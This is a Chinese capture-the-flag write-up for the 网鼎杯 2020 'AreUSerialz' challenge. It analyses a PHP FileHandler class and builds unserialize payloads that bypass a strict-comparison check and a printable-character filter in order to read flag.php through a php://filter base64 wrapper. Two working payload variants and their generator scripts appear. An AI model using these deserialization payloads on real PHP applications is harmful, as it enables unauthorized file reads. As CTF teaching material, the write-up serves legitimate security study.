[网鼎杯 2020 青龙组]AreUSerialz

目录

一、题目分析

(1)构造函数

(2)process函数

(3)write函数

(4)read函数

(5)destruct函数

(6)is_vaild判断条件函数

(7)传参判断条件

二、解题

解法一:

解法二:


一、题目分析

点击页面查看源码,可以发现有一个类FileHandler,关键是类中的三个参数op,filename,$content,都是protected类型的

接下来仔细分析每个函数:

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename和content,最后调用process函数。

php 复制代码
function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

(2)process函数

判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较 ,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

php 复制代码
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

(3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

$res = file_put_contents($this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

php 复制代码
 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

php 复制代码
private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2, 这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

php 复制代码
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

查看ascii码表发现[32,125]这个区间内的都是可打印字符。

(7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

php 复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

二、解题

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler {

    protected $op=2;

    protected $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

    protected $content;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

但是我们执行程序之后发现,输出的内容存在不可读的字符,即乱码字符。

这是因为我们的变量**op,filename,$content,都是protected类型的,输出的时候会在变量名前面加上%00*%00,我们所见到的不可打印字符就是%00,其ascii码值为0.**

如果将这串存在不可打印字符的字符串传入str参数,is_valid函数的返回值为0,从而就不会调用unserilize函数。

解法一:

将chr(0)以转化为\00*\00的方式输出,并将小写的s: 替换为大写的**S:**输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    protected $op=2;
    protected $filename="php://filter/convert.base64-encode/resource=flag.php";
    protected $content;


}

$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

得到的payload

php 复制代码
?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

可以看到flag.php以base64的方式读取出来了,解密即可得到flag

解法二:

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可.

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=flag.php";
    public $content;


}

$a=new FileHandler();
$b=serialize($a);
#$b = str_replace(chr(0), '\00', $b);
#$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

构造payload:

php 复制代码
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

就写到这里啦,喜欢的话给我点个赞吧!!!

相关推荐
y0ungsheep36 分钟前
[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)
linux·web安全·网络安全·php
看热闹的咸鱼1 小时前
PHP模拟多继承的方式:traits
php
ac-er88885 小时前
PHP的 CSRF、XSS 攻击和防范
php·xss·csrf
Xvens7 小时前
thinkphp6 redis 哈希存储方式以及操作函数(笔记)
redis·php·哈希算法
JSON_L7 小时前
面试题整理1
后端·面试·php
ZVAyIVqt0UFji8 小时前
云舟观测:基于eBPF监控主机的TCP网络连接
网络·网络协议·tcp/ip·web安全·php
C4rpeDime8 小时前
密码管理工具实现
php
龙哥·三年风水9 小时前
群控系统服务端开发模式-应用开发-业务架构逻辑开发BaseAPI继续开发二
分布式·php·群控系统
苏湘涵9 小时前
socket编程---UDP
linux·开发语言·网络·php·进程通信
yang_ldgd11 小时前
php 程序开发分层与验证思想
开发语言·php